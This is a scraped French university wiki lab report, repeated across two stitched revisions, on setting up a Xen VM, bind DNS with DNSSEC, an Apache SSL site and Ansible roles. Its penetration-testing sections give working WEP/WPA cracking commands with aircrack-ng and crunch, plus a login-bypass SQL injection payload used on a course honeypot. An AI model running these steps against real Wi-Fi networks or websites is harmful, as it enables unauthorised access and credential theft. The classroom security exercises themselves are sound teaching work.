00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
==Setup SSH==<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On <br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
==Setup Docker==<br />
On installe docker grâce à la commande <br />
$ ansible-galaxy install geerlingguy.docker<br />
<br />
on ajoute alors a polytech.yaml : <br />
- role: geerlingguy.docker<br />
tags: docker<br />
<br />
==Ip table==<br />
On souhaite fermer les ports réservés à Consul. Pour cela, on utilise iptable.<br />
On créé un role dédié, nommé firewall.<br />
main.yml de firewall : <br />
---<br />
- name: "Block TCP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: " \{\{item\}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8500"<br />
- "8501"<br />
- "8502"<br />
- "8300"<br />
- "8301"<br />
- "8302"<br />
- name: "Block UDP"<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
source_port: "\{\{ item \}\}"<br />
protocol: tcp<br />
match: tcp<br />
jump: DROP<br />
become: yes<br />
with_items:<br />
- "8600"<br />
- "8301"<br />
- "8302"</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58007TP sysres IMA5 2021/2022 G112022-01-12T12:34:30Z<p>Cgodet1 : /* Ip table */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
